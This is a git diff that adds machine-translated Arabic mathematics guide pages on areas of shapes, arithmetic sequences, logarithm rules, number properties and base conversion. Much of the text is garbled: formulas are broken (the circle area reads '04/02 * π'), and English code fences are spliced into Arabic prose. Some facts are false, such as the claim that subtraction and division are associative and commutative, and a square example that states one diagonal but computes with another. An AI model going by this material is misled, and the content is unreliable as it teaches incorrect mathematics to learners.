+مساحة الدائرة = _C_ 04/02 \* π
+
+#### أمثلة
+
+1.  بالنظر إلى radius = 3cm ، ابحث عن منطقة الدائرة
+    
+    المساحة = 3.14 \* 9 = 28.26 سم 2
+    
+2.  نظرًا لقطر 8 سم ، ابحث عن منطقة الدائرة
+    
+    الشعاع = (القطر / 2) = 4 سم
+    
+    المساحة = 3.14 \* 16 = 50.24 سم 2
+    
+3.  بالنظر إلى محيط الدائرة 25 سم ، ابحث عن منطقة الدائرة
+    
+    المساحة = 625 / (4 \* 3.14) = 49.76 سم 2
+    
+
+مثال "العالم الحقيقي": -
+
+مثال: ماكس هو بناء منزل. الخطوة الأولى هي حفر ثقوب وملئها بالخرسانة. الثقوب بعرض 0.4 متر وعمق 1 متر ، كم يجب أن يكون الحد الأقصى للخرسانة هو الحد الأقصى لكل ثقب؟
+
+الثقوب دائرية (في المقطع العرضي) لأنها تم حفرها باستخدام المثقب. القطر 0.4 متر ، وبالتالي فإن المنطقة هي: A = (π / 4) × D2 A = (3.14159 ... / 4) × 0.42 أ = 0.7854 ... × 0.16 أ = 0.126 م 2 (إلى 3 أرقام عشرية) والثقوب هي 1 متر عميق ، لذلك: Volume = 0.126 m2 × 1 m = 0.126 m3 يجب على ماكس أن يطلب 0.126 متر مكعب من الخرسانة لملء كل ثقب.
+
+ملاحظة: كان بإمكان ماكس تقدير المساحة بواسطة:
+
+1.  حساب ثقب مربع: 0.4 × 0.4 = 0.16 متر مربع
+2.  أخذ 80٪ من ذلك (تقديرات دائرة): 80٪ × 0.16 متر مربع = 0.128 متر مربع
+3.  وحجم ثقب عميق 1 متر هو: 0.128 م 3
+
+#### معلومات اكثر
+
+يمكن العثور على مزيد من المعلومات مع الرسوم التوضيحية [WikiHow](https://www.wikihow.com/Calculate-the-Area-of-a-Circle)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-ellipse/index.md b/client/src/guide/arabic/mathematics/area-of-a-ellipse/index.md
new file mode 100644
index 0000000000..7b7688daf4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-ellipse/index.md
@@ -0,0 +1,30 @@
+---
+title: Area of an Ellipse
+localeTitle: مساحة البيضة
+---
+## مساحة البيضة
+
+والقطع الناقص هو شكل ثنائي الأبعاد يحدده منحنى مستمر ونقطتي تركيز. مجموع المسافات بين البؤر إلى أي نقطة على المنحنى هو ثابت.
+
+#### المصطلح
+
+*   بؤر أو نقاط تركيز - هذه النقاط على مسافة متساوية من مركز القطع الناقص
+*   محور رئيسي - الخط المرسوم يقطع القطع الناقص في النصف ويعمل من خلال البؤر
+*   المحور الصغرى - الخط المرسوم يقطع القطع الناقص في النصف ويعمل بين البؤر
+
+![](https://jwolfgang.info/wp-content/uploads/2017/10/area-of-ellipse2.png)
+
+##### معادلة
+
+مجال القطع الناقص = (π) (1/2) (المحور الرئيسي) (1/2) (محور ثانوي)
+
+##### مثال
+
+نظرا للمحور الرئيسي = 2 في ، محور ثانوي = 7 في العثور على منطقة من القطع الناقص.
+
+Area = 1/2 \* 2 in \* 1/2 \* 7 in \* π = 11 in 2
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Ellipse)
+*   [الرياضة مرحه](https://www.mathsisfun.com/geometry/ellipse.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-parallelogram/index.md b/client/src/guide/arabic/mathematics/area-of-a-parallelogram/index.md
new file mode 100644
index 0000000000..613c38b04c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-parallelogram/index.md
@@ -0,0 +1,19 @@
+---
+title: Area of a Parallelogram
+localeTitle: منطقة متوازي الأضلاع
+---
+## منطقة متوازي الأضلاع
+
+متوازي الأضلاع هو عبارة عن صورة ذات أربعة جوانب حيث تكون الأضلاع والزوايا المقابلة متساوية. يمكن اعتباره مكوّن من مثلثين متماثلين من القاعدة إلى القاعدة. ![نص بديل](http://www.onemathematicalcat.org/Math/Geometry_obj/graphics/area_parallelogram.bmp)
+
+تبلغ مساحة المثلث `1/2 * base * height` ومساحة متوازي الأضلاع هي إضافة مناطق من المثلثين. وبالتالي،
+
+### مثال
+
+خذ بعين الاعتبار صورة شبيهة بالأعراض كما هو موضح في الشكل. ![نص بديل](http://www.proprofs.com/quiz-school/upload/yuiupload/812246308.jpg)
+
+لذلك ، المنطقة = 6 \* 2.5 = 15 (م) ^ 2
+
+#### معلومات اكثر:
+
+لمزيد من التفاصيل ، تفضل بزيارة [wiki](https://en.wikipedia.org/wiki/Parallelogram)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-rectangle/index.md b/client/src/guide/arabic/mathematics/area-of-a-rectangle/index.md
new file mode 100644
index 0000000000..2586730efc
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-rectangle/index.md
@@ -0,0 +1,17 @@
+---
+title: Area of a Rectangle
+localeTitle: مساحة مستطيل
+---
+## مساحة مستطيل
+
+يمكن حساب مساحة المستطيل بضرب أطوال الجانبين المتعامدين معاً.
+
+`Area = axb`
+
+**فمثلا** لمستطيل حيث _a = 3_ و _b = 4_
+
+`Area = axb = 3 x 4 = 12`
+
+#### معلومات اكثر:
+
+*   [الطالب الذي يذاكر كثيرا افتراضية](http://virtualnerd.com/pre-algebra/perimeter-area-volume/perimeter-and-area/area-formulas-examples/rectangle-area-example)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-sector/index.md b/client/src/guide/arabic/mathematics/area-of-a-sector/index.md
new file mode 100644
index 0000000000..ab25f0aed5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-sector/index.md
@@ -0,0 +1,27 @@
+---
+title: Area of a Sector
+localeTitle: مساحة القطاع
+---
+## مساحة القطاع
+
+القطاع هو جزء من دائرة محاطة بقطعتين ، وقوس واحد ، حيث تعرف المنطقة الأصغر باسم القصر وتُعرف المساحة الأكبر باسم القطاع الرئيسي.
+
+![Circle Sector](https://upload.wikimedia.org/wikipedia/commons/d/da/Circle_arc.svg "دائرة تظهر القطاع الصغير والرائد")
+
+قطاع صغير مظلل باللون الأخضر. _L_ هو طول القوس. _θ_ هي الزاوية بالتقدير الدائري. _ص_ هو نصف القطر.
+
+**يمكن الحصول على مساحة القطاع بضرب منطقة الدائرة حسب نسبة الزاوية _(θ °)_ و _2π (360 °) على_ النحو التالي** :
+
+A = \* πr 2 \* (θ ° / 360) \*
+
+### مثال:
+
+دائرة لديها دائرة نصف قطرها 5 سم. احسب مساحة القطاع عندما تكون الزاوية التي صنعها نصف القطر 60 درجة. كتقريب لـ pi ، سنستخدم 22/7.
+
+A = \* (22/7) \* 5 2 \* (60 ° / 360 °) \*
+
+أ = **13.095 سم 2**
+
+#### معلومات اكثر:
+
+*   [القطاع الدائري](https://en.wikipedia.org/wiki/Circular_sector)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-square/index.md b/client/src/guide/arabic/mathematics/area-of-a-square/index.md
new file mode 100644
index 0000000000..c166f66b04
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-square/index.md
@@ -0,0 +1,62 @@
+---
+title: Area of a Square
+localeTitle: مساحة مربع
+---
+## مساحة مربع
+
+مربع هو رباعي الأطراف مع جوانب متطابقة.
+
+يمكن حساب مساحة مربع إما من طول الجانب ، أو من طول قطر.
+
+![ميدان](https://github.com/viso-gio/HostedImages/blob/master/square.jpg?raw=true)
+
+إذا كان يعرف _الجانب:_
+
+![فورمولا 1](https://github.com/viso-gio/HostedImages/blob/master/AreaSquare1.png?raw=true)
+
+إذا كان القطر _د_ معروفًا:
+
+![Formula2](https://github.com/viso-gio/HostedImages/blob/master/AreaSquare2.png?raw=true)
+
+العلاقة بين الجانب _أ_ و القطر _د_ :
+
+![قطري](https://github.com/viso-gio/HostedImages/blob/master/DiagonalSquare.png?raw=true)
+
+### المصطلح
+
+قطري - المسافة من الزوايا المقابلة للمربع. الزوايا 90 درجة.
+
+المحيط - مجموع طول الجوانب الأربعة في مربع. الجوانب الأربعة متساوية في مربع.
+
+### أمثلة
+
+1.  يبلغ طول جانب واحد من المربع 8 وحدات:
+    
+    المساحة = 8 × 8 = 64 وحدة 2
+    
+2.  المساحة الممنوحة للمربع هي 100 وحدة 2 :
+    
+    الطول = √ 100 = 10 وحدة
+    
+3.  نظرا لقطر مربع هو 25 وحدة:
+    
+    المساحة = 10 2/2 = 50 وحدة 2
+    
+4.  محيط محيط مربع هو 20 وحدة:
+    
+    المساحة = (20/4) 2 = 25 وحدة 2
+    
+
+ابحث عن مساحة مربع معين المحيط:
+
+للعثور على مساحة مربع معين المحيط ، ابدأ ببساطة عن طريق تقسيم المحيط المحدد بـ 4. لماذا 4؟ لأن المربع يحتوي على أربعة (4) جوانب. تقسيمها 4 يمنحك طول جانب واحد. الآن مربع الجانب المعروف. إلى مربع ، اضربها بنفسها مرة واحدة. بمجرد الحصول على النتيجة ، قم بتحويلها إلى وحدات مربعة ؛ عن طريق إضافة ² إلى الإجابة.
+
+مثال: المحيط: 20
+
+20/4 = 5 5 × 5 = 25 25 = 25 ²
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا: ساحة](https://en.wikipedia.org/wiki/Square#Perimeter_and_area)
+*   [مزيد من الرسوم التوضيحية](https://www.wikihow.com/Find-the-Area-of-a-Square) -
+*   [أكثر](https://sciencing.com/area-square-using-its-perimeter-7991359.html) -
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-trapezium/index.md b/client/src/guide/arabic/mathematics/area-of-a-trapezium/index.md
new file mode 100644
index 0000000000..b06fe20fd7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-trapezium/index.md
@@ -0,0 +1,15 @@
+---
+title: Area of a Trapezium
+localeTitle: منطقة من شبه منحرف
+---
+## منطقة من شبه منحرف
+
+يتم تعريف منطقة من Trapezium بواسطة الفضاء 2D محاطة من Trapezium. شبه منحرف هو رباعيزيم من جهتين متوازيتين متوازيتين بطول متساو أو غير متكافئ وجانبين متوازيين غير متساويين بطول متساوي أو غير متساوي.
+
+دع الأطراف المتوازية يتم تمثيلها بـ "a" و "b" والمسافة العمودية بين هذين الجانبين المتوازيين تكون "h" ثم منطقة Trapezium = 1/2 \* (a + b) \* h
+
+والذي يعني مساحة Trapezium = 1/2 \* (مجموع الجوانب المتوازية) \* (المسافة العمودية بين الجانبين المتوازي).
+
+\## ملحوظة:
+
+كما يمكن العثور على منطقة شبه منحرف من خلال تقسيم شبه منحرف إلى سلسلة من المثلث والمستطيل وأخيراً إضافة مناطقهم بشكل منفصل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-triangle/index.md b/client/src/guide/arabic/mathematics/area-of-a-triangle/index.md
new file mode 100644
index 0000000000..f2931a5b82
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-triangle/index.md
@@ -0,0 +1,53 @@
+---
+title: Area of a Triangle
+localeTitle: منطقة مثلث
+---
+## منطقة مثلث
+
+مثلث هو مضلع ثلاثي الأبعاد ، ثنائي الأبعاد. هناك طريقتان لتحديد المنطقة.
+
+### طريقة 1
+
+يمكن حساب مساحة المثلث بضرب 0.5 إلى طول القاعدة للارتفاع العمودي.
+
+![مثلث-1](https://github.com/uuykay/misc/blob/master/area-triangle-image-2.jpg)
+
+رياضيا يعبر عن هذا على النحو التالي:
+
+![فورمولا 1](https://github.com/uuykay/misc/blob/master/triangle-equation-area-1.jpg)
+
+### الطريقة الثانية
+
+إذا كان الارتفاع العمودي غير معروف ، فيمكنك استخدام طريقة مختلفة لحساب المساحة. إذا كنت تعرف طول الجانبين وحجم الزاوية بينهما ، فيمكن العثور على المنطقة.
+
+![مثلث-2](https://github.com/uuykay/misc/blob/master/area-triangle-image-3.jpg)
+
+رياضيا يعبر عن هذا على النحو التالي:
+
+![صيغة 2](https://github.com/uuykay/misc/blob/master/triangle-equation-area-2.jpg)
+
+لاحظ أن الصيغة الموضحة أعلاه تستخدم الجانبين a و b وزاوية C بينهما. يمكن استبدالها بآخر وجهين وزاوية بينهما.
+
+### المصطلح
+
+قاعدة - الجانب السفلي. حدد جانب معروف.
+
+ارتفاع عمودي - ارتفاع المثلث ، يقاس عمودياً على القاعدة ، إلى أعلى نقطة في المثلث.
+
+الخطيئة - التعبير المثلثية الجيبية.
+
+### أمثلة
+
+1.  العثور على مساحة المثلث مع طول قاعدة من 4 وحدات وارتفاع عمودي من 12 وحدة
+    
+    المساحة = 0.5 × 4 × 12 = 24 وحدة 2
+    
+2.  إذا كان من المعروف أن وجهي المثلث هما 3 و 6 ، والزاوية بينهما 30 درجة ، فما هي زاوية المثلث؟
+    
+    المساحة = 0.5 × 3 × 6 × الخطيئة (30 درجة) = 4.5 وحدة 2
+    
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا: مثلث](https://en.wikipedia.org/wiki/Triangle)
+*   [مزيد من الأمثلة](https://mathbits.com/MathBits/TISection/Trig/AreaTrigTri.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-trapezoids/index.md b/client/src/guide/arabic/mathematics/area-of-trapezoids/index.md
new file mode 100644
index 0000000000..bfce92e1a0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-trapezoids/index.md
@@ -0,0 +1,13 @@
+---
+title: Area of Trapezoids
+localeTitle: منطقة Trapezoids
+---
+## منطقة Trapezoids
+
+يتم تعريف منطقة شبه منحرف كما
+
+\*\* A = (a + b) / 2 xh \*\* أين، أ ، ب هي أطوال كل قاعدة ح هو الارتفاع (الارتفاع)
+
+#### معلومات اكثر:
+
+يمكن العثور على شريط فيديو يشرح كيفية العثور على منطقة شبه منحرف في [Khan Academy](https://www.khanacademy.org/math/basic-geo/basic-geo-area-and-perimeter/area-trap-composite/v/area-of-a-trapezoid-1)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-triangles/index.md b/client/src/guide/arabic/mathematics/area-of-triangles/index.md
new file mode 100644
index 0000000000..54e8e44813
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-triangles/index.md
@@ -0,0 +1,33 @@
+---
+title: Area of Triangles
+localeTitle: منطقة المثلثات
+---
+## منطقة المثلثات
+
+مساحة المثلث هي المساحة الإجمالية المغلقة على المستوى ثنائي الأبعاد على جانبي المثلث.
+
+يمكن حساب مساحة المثلث بضرب النصف بواسطة ارتفاع القاعدة \*
+
+على سبيل المثال ، إذا كان لديك مثلث يبلغ 3 سم على القاعدة و 4 سم في الارتفاع ، فيمكنك عمل المنطقة:
+
+Areaa = .5 \* 3 \* 4 = 6cm²
+
+#### المصطلح
+
+*   القاعدة (ب) - طول جانب واحد من المثلث.
+*   الارتفاع (h) - طول خط متعامد مع القاعدة إلى النقطة المقابلة للمثلث.
+
+#### معادلة
+
+**المساحة = 0.5 \* قاعدة المثلث \* ارتفاع المثلث**
+
+![مثلث](http://www.mathportal.org/calculators/plane-geometry-calculators/triangleEquilateral.gif)
+
+على سبيل المثال في الصورة أعلاه ،
+
+المساحة = 0.5 \* a \* h
+
+### معلومات اكثر
+
+*   [منطقة المثلثات](http://www.onlinemathlearning.com/area-triangle.html)
+*   [كيف تحسب مساحة المثلث](https://www.wikihow.com/Calculate-the-Area-of-a-Triangle)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/arithmetic-sequence/index.md b/client/src/guide/arabic/mathematics/arithmetic-sequence/index.md
new file mode 100644
index 0000000000..92d4d2dcf3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/arithmetic-sequence/index.md
@@ -0,0 +1,15 @@
+---
+title: Arithmetic Sequence
+localeTitle: تسلسل حسابي
+---
+## تسلسل حسابي
+
+التسلسل الحسابي ، أو التقدم الحسابي ، هو سلسلة من الأرقام حيث يكون الفرق بين كل رقم متتالي هو نفسه.
+
+إذا كان n هو موضع بعض المصطلح في التسلسل (مثل 1 ، 2 ، 3 ...) ، d هو الفرق بين كل مصطلح متتالي ، k هو أول موضع لأول مصطلح معروف للتسلسل (على سبيل المثال إذا كنت تعرف الفصل الدراسي الأول، ثم ك = 1)، وك هو قيمة ك المدى عشر في تسلسل (أي قيمة في عدد مصطلح ك)، وn هو قيمة ن مصطلح عشر في تسلسل (أي قيمة عند رقم المصطلح n) ، تكون معادلة التسلسل الحسابي هي 1 :
+
+a n = a k + d (n - k)
+
+### مصادر
+
+1.  ["التقدم الحسابي". _Brilliant.org_ . 1 أكتوبر 2018.](https://brilliant.org/wiki/arithmetic-progressions/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/arithmetic-series/index.md b/client/src/guide/arabic/mathematics/arithmetic-series/index.md
new file mode 100644
index 0000000000..28a3775c28
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/arithmetic-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Arithmetic Series
+localeTitle: سلسلة الحسابية
+---
+## سلسلة الحسابية
+
+السلسلة الحسابية هي مجموع كل المصطلحات في تسلسل حسابي.
+
+إذا كان n هو إجمالي عدد المصطلحات في التسلسل ، فإن a 1 هي قيمة المصطلح الأول في التسلسل ، و k هي قيمة المصطلح الأخير في التسلسل ، يكون مجموع التسلسل مساوياً لما يلي:
+
+![معادلة السلسلة الحسابية](https://github.com/Zoonn123/resources/blob/master/arithmeticserieshacktoberfestedit.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/asymptotes-worked-examples/index.md b/client/src/guide/arabic/mathematics/asymptotes-worked-examples/index.md
new file mode 100644
index 0000000000..949ce10303
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/asymptotes-worked-examples/index.md
@@ -0,0 +1,17 @@
+---
+title: Asymptotes Worked Examples
+localeTitle: المقاربات أمثلة عملت
+---
+## المقاربات أمثلة عملت
+
+يتم تعريف الخطوط المقاربة للمنحنى على أنها خط ، بحيث أنه عندما ينتقل المنحنى إلى ما لا نهاية ، فإنه يميل إلى تلبية هذا الخط.
+
+مثال، خذ منحنى f (x) = (1 / x) ![IMG](https://qph.fs.quoracdn.net/main-qimg-c5be56e1b5d297b9995615a47707f52b.webp)
+
+هنا يمكنك أن ترى أن السطور x = 0 و y = 0 تميل إلى تلبية المنحنى عند اللانهاية.
+
+### معلومات اكثر:
+
+[www.mathsisfun.com/algebra/asymptote](https://www.mathsisfun.com/algebra/asymptote.html)
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/Asymptote)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/axis-of-symmetry-of-a-parabola/index.md b/client/src/guide/arabic/mathematics/axis-of-symmetry-of-a-parabola/index.md
new file mode 100644
index 0000000000..37c492dfc9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/axis-of-symmetry-of-a-parabola/index.md
@@ -0,0 +1,13 @@
+---
+title: Axis of Symmetry of a Parabola
+localeTitle: محور التماثل من القطع المكافئ
+---
+## محور التماثل من القطع المكافئ
+
+إن محور التماثل في القطع المكافئ هو الخط الذي ينقسم بشكل مثالي (أو ينقسم إلى جزئين متساويين) القطع المكافئ.
+
+هذا هو نفس الخط الرأسي المرسوم عند القيمة x لذروة القطع المكافئ. مع العلم بذلك ، يمكنك العثور على خط التماثل بسهولة باستخدام شكل رأس من معادلة من الدرجة الثانية (مكافئ):
+
+y = a (xh) 2 + k
+
+في هذا الشكل ، تُعطى إحداثيات قمة القطع المكافئ (h، k) ، بمعنى أن معادلة خط التماثل ستكون x = h.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/basic-log-rules-and-expanding-log-expressions/index.md b/client/src/guide/arabic/mathematics/basic-log-rules-and-expanding-log-expressions/index.md
new file mode 100644
index 0000000000..93bef01aaf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/basic-log-rules-and-expanding-log-expressions/index.md
@@ -0,0 +1,53 @@
+---
+title: Basic Log Rules and Expanding Log Expressions
+localeTitle: قواعد السجل الأساسية وتوسيع تعبيرات السجل
+---
+## قواعد السجل الأساسية وتوسيع تعبيرات السجل
+
+فيما يلي قواعد السجل الأساسية شائعة الاستخدام:
+
+###### اللوغاريتم المنتج القاعدة
+
+log b (x \* y) = log b (x) + log b (y)
+
+###### قاعدة اللوغاريتم المتساهلة
+
+log b (x / y) = log b (x) - log b (y)
+
+###### لوغاريتم سلطة القاعدة
+
+log b (x y ) = y \* log b (x)
+
+###### لوغاريتم الرقم السالب
+
+log b (x) غير معرّف عند x <0
+
+###### لوغاريتم 0
+
+log b (0) غير معرف
+
+lim x → 0+ log b (x) = -infinity
+
+###### لوغاريتم 1
+
+log b (1) = 0
+
+###### لوغاريتم للقاعدة
+
+log b (b) = 1
+
+###### لوغاريتم انفينيتي
+
+lim x → infinity log b (x) = اللانهاية
+
+###### لوغاريثم قاعدة تبديل القاعدة
+
+log b (c) = 1 / log c (b)
+
+###### قاعدة تغيير قاعدة لوغاريتم
+
+log b (x) = log c (x) / log c (b)
+
+#### معلومات اكثر:
+
+[قواعد اللوغاريتم](http://www.rapidtables.com/math/algebra/Logarithm.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md b/client/src/guide/arabic/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md
new file mode 100644
index 0000000000..1334d1dcf7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md
@@ -0,0 +1,69 @@
+---
+title: Basic Number Properties Associative, Commutative, and Distributive
+localeTitle: خصائص الأرقام الأساسية ، التبادلية ، والتوزيعية
+---
+## خصائص الأرقام الأساسية ، التبادلية ، والتوزيعية
+
+هذه هي 3 خصائص أساسية للأرقام.  
+تلعب هذه الخصائص دورًا مهمًا في الرياضيات المتقدمة. الكتب المدرسية عادة لا تناقشها بالتفصيل لأن الجميع نظم عدد نستخدمها حتى المدرسة الثانوية اتبع هذه الخصائص بشكل افتراضي.  
+عند دراسة الرياضيات المتقدمة ، نعرف أهمية هذه الخصائص.
+
+# خصائص واحدة تلو الأخرى:
+
+## ترابطيات
+
+"لربط" يعني تشكيل مجموعات من المعاملات.  
+إذا كانت العملية (على سبيل المثال + ، - ، × ، /) هي علاقة ارتباطية ، فهذا يعني **أن النتيجة ستظل كما هي بغض النظر عن تجميع المعاملات.**
+
+ على سبيل المثال ، ضع في اعتبارك العملية + ، 
+ دعونا ، أ = 3 ، ب = 4 ، ج = 5 
+ (a + b) + c = a + (b + c) 
+ -> (3 + 4) + 5 = 3 + (4 + 5) 
+ -> 12 = 12 
+
+\###### جربها مع عملية الضرب ، وقيم المتغير نفسها على النحو الوارد أعلاه ، ### ملحوظة:
+
+*   جميع العمليات الحسابية الأساسية الأربعة (أي + ، - ، × ، /) تتبع Associativity.
+    
+    * * *
+    
+    * * *
+    
+    * * *
+    
+
+## تبديليه
+
+"التنقل" تعني التنقل ، وفي هذه الحالة ، تتحرك المعاملات حول المشغل.  
+إذا كانت العملية (على سبيل المثال + ، - ، × ، /) تبديلية فهذا يعني **أن النتيجة ستظل كما هي بغض النظر عن الترتيب الذي يتم به تقييم المعاملات.**
+
+ على سبيل المثال ، ضع في اعتبارك العملية + ، 
+ دعونا ، أ = 3 ، ب = 4 
+ a + b = b + a 
+ -> 3 + 4 = 4 + 3 
+ -> 7 = 7 
+
+\###### جربها مع عملية الضرب ، وقيم المتغير نفسها على النحو الوارد أعلاه ، ### ملحوظة:
+
+*   جميع العمليات الحسابية الأساسية الأربعة (أي + ، - ، × ، /) تتبع التوصيلية.
+    
+    * * *
+    
+    * * *
+    
+    * * *
+    
+
+## Distributivity
+
+هذه الخاصية من السهل تذكرها من خلال معرفة أن "الضرب هو التوزيع الإضافي". مثال،  
+a × (b + c) = a × b + a × c أي يتم تنفيذ الضرب بشكل منفصل على معاملات إضافة ثم يتم تنفيذ إضافة.  
+
+ 3 × (4 + 5) 
+ -> 3 × 4 + 3 × 5 
+ -> 12 + 15 
+ -> 27 
+
+\### ملحوظة
+
+*   الضرب هو التوزيع على addtion ، ولكن العكس بالعكس غير صحيح.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/basic-percent-of-word-problems/index.md b/client/src/guide/arabic/mathematics/basic-percent-of-word-problems/index.md
new file mode 100644
index 0000000000..914fe65054
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/basic-percent-of-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Percent of Word Problems
+localeTitle: النسبة الأساسية من مشاكل الكلمة
+---
+## النسبة الأساسية من مشاكل الكلمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/basic-percent-of-word-problems/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/basis/index.md b/client/src/guide/arabic/mathematics/basis/index.md
new file mode 100644
index 0000000000..993241f345
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/basis/index.md
@@ -0,0 +1,11 @@
+---
+title: Basis
+localeTitle: أساس
+---
+## أساس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/basis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/bayes-theorem/index.md b/client/src/guide/arabic/mathematics/bayes-theorem/index.md
new file mode 100644
index 0000000000..f47b0977c0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayes Theorem
+localeTitle: مبرهنة بايز
+---
+## مبرهنة بايز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/bayes-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/binary-decimal-hex-conversion/index.md b/client/src/guide/arabic/mathematics/binary-decimal-hex-conversion/index.md
new file mode 100644
index 0000000000..cce9425699
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/binary-decimal-hex-conversion/index.md
@@ -0,0 +1,47 @@
+---
+title: Binary Decimal Hexadecimal Conversion
+localeTitle: ثنائي عشري عشري تحويل
+---
+# تحويلات:
+
+يمكنك تحويل الأرقام بسهولة من قاعدة إلى أخرى بتطبيق تعريف الرقم المرتكز على n والذي يتطلب منك معرفة كيفية عمل نظام المواقع لدينا: لنبدأ من رقمين مثل الرقم `12` على سبيل المثال. للحصول على قيمة base-10 ، نحتاج إلى مضاعفة رقمه المنفرد بمقدار `10^n` حيث n هو موضع الرقم من اليمين والعد من 0. ثم نقوم ببساطة بجمع كل القيم. على سبيل المثال ، سيتم الحصول على قيمة الأساس 10 من `12` بهذه الطريقة:
+
+\`\` \` 1 _(10 ^ 1) + 2_ (10 ^ 0) = 10 + 2 = 12
+
+ ``This was obvious but what if you had a base-2 number and wanted to know its base-10 value? 
+ First of all mind that a base n number only has `n` total symbols to represent its values. 
+ In the binary base we have then just 2 (base-2) symbols: `1` and `0`. 
+ Applying the procedure you have seen before you will be able to obtain a decimal number starting from a binary one like `101`: 
+`` 
+
+101 = 1 _(2 ^ 2) + 0_ (2 ^ 1) + 1 \* (2 ^ 0) = 4 + 0 + 1 = 5
+
+ ``In the same way a hexadecimal (base-16) number has 16 symbols to represent its values: `0, 1, 2, 3, 4, 5, 6 ,7, 8, 9, A, B, C, D, E, F`. 
+ Converting a base-16 number like `7AF` to a decimal will be easy then: 
+`` 
+
+7AF = 7 _(16 ^ 2) + A_ (16 ^ 1) + F _(16 ^ 0) = 7_ 256 + 10 _16 + 15_ 1 = 1967
+
+ ``What if you wished to convert a decimal number into a n-based number? 
+ A common way to accomplish this is dividing the decimal number by the n base repeatedly. 
+ Take note of all remainders, and when your quotient reaches 0 stop. 
+ Now simply write all your remainders setting the last one as the most significant digit (your newly converted n-based number should have as last digit your first remainder). 
+ EG: Let's convert the base-10 `12` to its base-2 value 
+`` 
+
+12/2 = 6 مع الباقي 0 6/2 = 3 مع باقي 0 3/2 = 1 مع الباقي 1 1/2 = 0 مع الباقي 1
+
+base-10 12 = base-2 1100 \`\` \` الآن باستخدام الطريقة الأولى المكتوبة أعلاه يمكنك التحقق مما إذا كان كل شيء يعمل بشكل جيد:
+
+`1100 = 1*(2^3) + 1*(2^2) + 0*(2^1) + 0*(2^0) = 8+4+0+0 = 12`
+
+## ثنائي عشري عشري محول
+
+محول ثنائي ، عشري ، سداسي عشري هو أداة تسمح لك بتحويل رقم واحد في الرقم المقابل المعبر عنه في نظام رقمي مختلف. أنظمة الأرقام المسموح بها هي `base-2` (binary) ، `base-10` (decimal) وهو الذي نستخدمه بشكل شائع و `base-16` (ست عشري). هي الكثير من هذه الأدوات المتاحة على الإنترنت:
+
+*   [ثنائي عرافة محول](www.binaryhexconverter.com/)
+*   [موقع الحاسبة](http://www.calculator.net/) تشتمل الحاسبات العلمية عادةً على أدوات تحويل أساسية ، وفي الحاسبة الافتراضية MacOSX ، يمكنك استخدام هذه الوظيفة باستخدام طريقة عرض المبرمج الخاصة بها بالضغط على `Cmd+3` أو أسفل القائمة `View->Programmer` .
+
+### المحول الخاص بك:
+
